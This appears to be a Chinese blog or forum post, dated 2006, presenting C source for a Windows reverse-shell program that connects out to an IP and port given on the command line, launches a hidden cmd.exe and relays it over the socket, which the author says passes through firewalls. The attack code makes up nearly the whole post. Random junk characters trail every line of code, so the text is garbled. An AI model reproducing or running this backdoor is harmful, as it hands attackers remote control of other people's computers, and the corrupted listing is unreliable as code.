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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1}>uY  
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/* ============================== TexSUtx@$  
Rebound port in Windows NT g#b uy  
By wind,2006/7 MDqUl:]  
===============================*/ Qin;{8I0  
#include [bIR$c[G  
#include S`v+rQjW  
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#pragma comment(lib,"wsock32.lib") -|\SNbPTV  
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void OutputShell(); I nCo[ 8SI  
SOCKET sClient; LjOHlT'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; di,?`  
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void main(int argc,char **argv) n>-"\cjV  
{ ^+)q@{\8Y  
WSADATA stWsaData; Gi*GFv%xB  
int nRet; I'$}n$UvZ  
SOCKADDR_IN stSaiClient,stSaiServer; ZUiI nO  
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if(argc != 3) wn-{V kpm  
{ <xpHlLc  
printf("Useage:\n\rRebound DestIP DestPort\n"); xO nW~Z  
return; ( /):  
} (RtjD`e}  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5lp};  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^>H+#@R  
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stSaiClient.sin_family = AF_INET; SF#Rc>v  
stSaiClient.sin_port = htons(0); K,o@~fj  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'CkN  
-'jPue2\  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) WI+ 5x  
{ .o!z:[IPY  
printf("Bind Socket Failed!\n"); <Z6tRf;B  
return; Pu-/*Fx  
} Er]lObfQo  
{?zbrgQ<Z  
stSaiServer.sin_family = AF_INET; 7=gv4arRwt  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 'dFhZ08 u}  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); P O{1u%P  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5f'<0D;K  
{ C1 YG=!  
printf("Connect Error!"); xU5+"t~  
return; PiTe/  
} _ o-lNt+  
OutputShell(); c'8a)j$$+  
} tEE1`10Mt  
Q|+g= |%^  
void OutputShell() b5v6Y:f&fK  
{ {ylhh%t4hi  
char szBuff[1024]; Zagj1 OV|  
SECURITY_ATTRIBUTES stSecurityAttributes; "Nx3_mQ  
OSVERSIONINFO stOsversionInfo; A7SE>e>  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 'z}Hg *  
STARTUPINFO stStartupInfo; }CyS_Tc  
char *szShell; 6-w'?G37  
PROCESS_INFORMATION stProcessInformation; 8iDg2_l`G  
unsigned long lBytesRead; -< 0PBl  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H^e0fm  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E*F)jP,yo  
stSecurityAttributes.lpSecurityDescriptor = 0; ^ew<|J2,B  
stSecurityAttributes.bInheritHandle = TRUE; =:;KY uTr  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <\If:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); uKBSv*AM  
%j=xLV\  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 't5 I%F  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /#,3JU$w  
stStartupInfo.wShowWindow = SW_HIDE; C<?Huw4R0  
stStartupInfo.hStdInput = hReadPipe; O!c b-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Qf}^x9'  
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GetVersionEx(&stOsversionInfo); ?<#2raH-  
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switch(stOsversionInfo.dwPlatformId) >(t_  
{ /0J1_g  
case 1: DrTo")T  
szShell = "command.com"; XazKS4(  
break; ?5oeyBA@  
default: }uTe(Rf  
szShell = "cmd.exe"; $YM6}D@  
break; +C(v4@=nd  
} v GT#BS%  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); N2~q\BqA  
/W6r{Et  
send(sClient,szMsg,77,0); b(Ev:  
while(1) 3/w) mY-o  
{ > WsRCBA  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8?S)>-mwv  
if(lBytesRead) MwlhL?  
{ x\ pC&  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); v .ftfL!  
send(sClient,szBuff,lBytesRead,0); &!kr &g#]  
} J"x M[c2  
else x-e?94}^  
{ RQ1`k,R=  
lBytesRead=recv(sClient,szBuff,1024,0); Z !qHL$  
if(lBytesRead<=0) break; i'Oh^Y)E#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :.+?v*%;n  
} aFj)s?$4]K  
} BK_x5mGu3  
+Y^_1  
return; (v\Cv)OS  
}
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